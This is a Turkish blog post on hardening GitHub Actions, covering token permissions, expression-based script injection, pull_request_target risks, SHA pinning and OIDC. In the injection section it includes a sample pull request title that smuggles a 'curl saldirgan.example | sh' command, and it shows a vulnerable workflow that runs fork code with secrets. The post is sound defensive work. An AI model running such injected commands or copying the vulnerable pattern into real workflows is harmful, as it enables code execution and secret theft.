← blog · 20 Kasım 2026

GitHub Actions İş Akışlarını Sertleştirmek: Jeton İzinleri, Betik Enjeksiyonu, pull_request_target ve SHA Sabitleme

CI hattı deponun en yetkili kodudur. Varsayılan jeton izinleri, ifadelerle gelen betik enjeksiyonu, fork kodunu sırlarla çalıştıran tetikleyiciler ve etiketi taşınan eylemler: en sık açılan delikler ve kapatılma yolları.

CI hattı, deponuzdaki en yetkili koddur. Üretim ortamına dağıtım yapan anahtarlar, paket yayın jetonları ve depoya yazma izni orada durur. Buna rağmen iş akışı dosyaları çoğu ekipte kod incelemesinden en az geçen dosyalardır: bir örnekten kopyalanır, çalışınca bir daha bakılmaz. GitHub Actions'ta saldırganın kodunuza dokunmasına gerek yoktur; bir pull request başlığı, bir dal adı ya da sürüm etiketi değişmiş bir üçüncü taraf eylem yeterlidir. Bu yazıda en sık açılan dört deliği ve her birinin kapatılma yolunu anlatıyoruz.

1. Varsayılan jeton izinlerini daraltın

Her iş akışı koşusuna otomatik bir GITHUB_TOKEN verilir. Eski depolarda ve bazı kurum ayarlarında bu jeton varsayılan olarak geniş yazma yetkisiyle gelir. Bir adımda kod çalıştıran herkes, o jetonla depoya commit atabilir, sürüm oluşturabilir, etiket taşıyabilir.

Doğru yaklaşım iki katmanlıdır. Önce depo ya da kurum ayarlarında varsayılan izni salt okuma yapın. Sonra her iş akışında izinleri açıkça yazın ve yalnız gereken işe genişletin:

permissions: {}

jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@<tam-commit-sha>
        with:
          persist-credentials: false
      - run: make test

  release:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - run: echo "yalnız bu iş yazabilir"

En üstteki permissions: {} tüm izinleri sıfırlar, her iş kendi ihtiyacını ister. Böylece test işi ele geçirilse bile depoya yazamaz.

persist-credentials: false ayrıntısı önemlidir. actions/checkout varsayılan olarak jetonu çalışma dizinindeki git yapılandırmasına bırakır. Sonraki adımlarda çalışan herhangi bir bağımlılık, derleme betiği ya da yüklenen bir yapıt, o jetonu diskten okuyabilir. Depoya geri push etmeyecekseniz bırakmayın.

2. Betik enjeksiyonu: ${{ }} kabuktan önce açılır

En yaygın ve en az bilinen hata budur. İş akışı ifadeleri, adım çalışmadan önce metne gömülür. Yani şu satır:

- run: echo "Başlık: ${{ github.event.pull_request.title }}"

kabuğa gitmeden önce başlığın kendisiyle değiştirilir. Başlığı "; curl saldirgan.example | sh; echo " olan bir pull request, sizin runner'ınızda komut çalıştırır. Aynı risk issue başlığı ve gövdesi, yorum metni, dal adı, commit mesajı ve yazar adı gibi kullanıcının kontrol ettiği her alan için geçerlidir.

Çözüm, değeri ifade olarak değil ortam değişkeni olarak geçirmektir:

- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Başlık: $PR_TITLE"

Burada değer kabuğa veri olarak ulaşır, kod olarak yorumlanmaz. Değişkeni tırnak içinde kullanmayı unutmayın. Aynı kural actions/github-script içinde de geçerlidir: ifadeyi JavaScript koduna gömmek yerine ortam değişkeninden okuyun.

Daha az bilinen bir yan yol da $GITHUB_ENV ve $GITHUB_OUTPUT dosyalarıdır. Güvenilmeyen bir değeri bu dosyalara satır sonu denetimi yapmadan yazarsanız, saldırgan yeni satır ekleyerek sonraki adımlar için kendi ortam değişkenini tanımlayabilir. LD_PRELOAD ya da NODE_OPTIONS gibi bir değişken, bir sonraki adımda kod çalıştırmak için yeterlidir.

3. pull_request_target ve workflow_run tuzağı

pull_request olayı çatallanmış (fork) depodan gelen değişiklik için sırlara erişimi olmayan, salt okunur bir jetonla çalışır. Bu güvenlidir ama bazen kısıtlayıcıdır: PR'a etiket eklemek ya da yorum yazmak isteyen ekipler pull_request_target'a geçer.

pull_request_target ise hedef deponun bağlamında çalışır: sırlar erişilebilir, jeton yazabilir. Bu tetikleyici yalnız temel dalın iş akışı dosyasını çalıştırdığı için tek başına güvenlidir. Delik, şu kalıp eklendiğinde açılır:

on: pull_request_target
jobs:
  build:
    steps:
      - uses: actions/checkout@<sha>
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm test

Artık yabancı birinin yazdığı kod, sizin sırlarınızla çalışıyor. npm install sırasındaki bir kurulum betiği, package.json içindeki test komutu ya da değiştirilmiş bir Makefile, tüm sırları dışarı gönderebilir.

Kurallar şöyle:

  • pull_request_target içinde PR'ın kodunu checkout edip çalıştırmayın. Yalnız meta veriyle (etiket, yorum, dosya listesi) çalışın.
  • PR kodunu derlemek ve test etmek gerekiyorsa bunu pull_request ile, ayrıcalıksız yapın. Sonucu yapıt olarak kaydedin. Yorum yazma gibi ayrıcalıklı işi ayrı bir workflow_run iş akışı yapsın.
  • workflow_run ile alınan yapıtı güvenilmeyen veri sayın. İçindeki dosyayı açıp kabuğa vermeyin, $GITHUB_ENV'e yazmayın, yalnız beklediğiniz biçimde ayrıştırın. Çünkü o yapıtı fork kodu üretti.
  • Bu tetikleyicilerde önbelleğe de dikkat edin. Ayrıcalıklı bağlamda çalışan iş, temel dalın önbellek alanına yazabilir; içine fork kodunun ürettiği bir şey giderse, ana daldaki sonraki derlemeler zehirlenmiş önbelleği kullanır.

4. Üçüncü taraf eylemleri commit SHA'sına sabitleyin

uses: birisi/bir-eylem@v3 yazdığınızda v3 değişmez bir sürüm değildir; etiket ya da dal adıdır ve eylemin sahibi onu istediği commit'e taşıyabilir. Sahibinin hesabı ele geçirilirse, mevcut tüm etiketler kötü niyetli bir commit'e yönlendirilebilir ve bunu kullanan her depo bir sonraki koşuda o kodu çalıştırır. Bu kalıp gerçek dünyada yaşandı ve binlerce depodaki sırları günlüklere döktü.

Tek sağlam savunma tam uzunluktaki commit SHA'sıdır:

- uses: actions/setup-node@<40-karakterlik-sha> # v4.1.0

Sondaki yorum okunabilirlik içindir; Dependabot ve Renovate bu biçimi tanır, yeni sürüm çıkınca hem SHA'yı hem yorumu güncelleyen PR açar. Yani sabitlemek güncelliği bırakmak anlamına gelmez, güncellemeyi incelenebilir bir değişikliğe çevirir.

Dikkat edilecekler:

  • Kısa SHA yeterli değildir, tam uzunluğu kullanın.
  • Sabitlenen eylemin kendisi başka bir eylemi etiketle çağırıyorsa (bileşik eylemler) o iç çağrı hâlâ değişkendir. Kritik işlerde kullandığınız eylemin içine bir kez bakın.
  • Kurum ayarlarında hangi eylemlere izin verildiğini sınırlayabilir, yeni ayarlarda SHA sabitlemesini zorunlu tutabilirsiniz. Elle disiplin yerine kural koymak her zaman daha iyidir.
  • Basit işler için (bir dosyayı yüklemek, bir komut çalıştırmak) üçüncü taraf eylem eklemek yerine iki satırlık run adımı yazmak çoğu zaman daha güvenlidir.

Sırları dağıtım ortamına bağlayın

Bulut sağlayıcısına dağıtım yapıyorsanız uzun ömürlü erişim anahtarını depo sırrı olarak tutmak yerine OIDC kullanın. İş akışı id-token: write izniyle kısa ömürlü bir jeton ister, bulut tarafı bu jetonu güven politikasıyla doğrular. Burada en sık hata güven politikasını geniş yazmaktır: yalnız depo adına bakan bir koşul, o depodaki her dalın ve her PR iş akışının üretim rolünü almasına izin verir. Koşulu sub alanında dala ya da dağıtım ortamına bağlayın.

Dağıtım sırlarını depo düzeyinde değil, environment düzeyinde tanımlayın ve o ortama zorunlu onaycı ile dal kısıtı ekleyin. Böylece bir test işi ele geçirilse bile üretim sırrı o işin bağlamına hiç girmez.

Kendi sunucunuzdaki runner

Herkese açık bir depoda kendi sunucunuzdaki (self-hosted) runner kullanmayın. Fork'tan gelen bir PR, onay ayarlarına bağlı olarak sizin makinenizde kod çalıştırabilir ve kalıcı runner'da bir sonraki işe iz bırakabilir. Özel depolarda bile runner'ları her işten sonra yok edilen geçici makineler olarak kurgulamak, kalıcı bir sunucuyu temiz tutmaya çalışmaktan çok daha kolaydır.

Bunu nasıl denetlersiniz

İş akışı dosyalarını elle taramak ölçeklenmez. actionlint sözdizimi ve ifade hatalarını, bazı enjeksiyon kalıplarını yakalar. zizmor doğrudan güvenlik odaklı bir statik çözümleyicidir: betik enjeksiyonunu, tehlikeli tetikleyicileri, sabitlenmemiş eylemleri ve bırakılmış kimlik bilgilerini raporlar. İkisini de CI'a ekleyin ve iş akışı dosyalarına CODEOWNERS ile zorunlu inceleme koyun; .github/workflows dizinindeki bir değişiklik, uygulama kodundaki bir değişiklikten daha fazla yetki taşır.

Ne zaman bu kadarı gerekmez

Yalnız sizin ve ekibinizin push ettiği, fork kabul etmeyen, sır barındırmayan özel bir depoda pull_request_target dersleri büyük ölçüde geçersizdir. Ama SHA sabitleme ve dar izinler orada da gereklidir: tedarik zinciri saldırısı deponun herkese açık olup olmadığına bakmaz. En az zahmetle en çok kazancı veren iki adım budur; başka hiçbir şey yapmayacaksanız bunları yapın.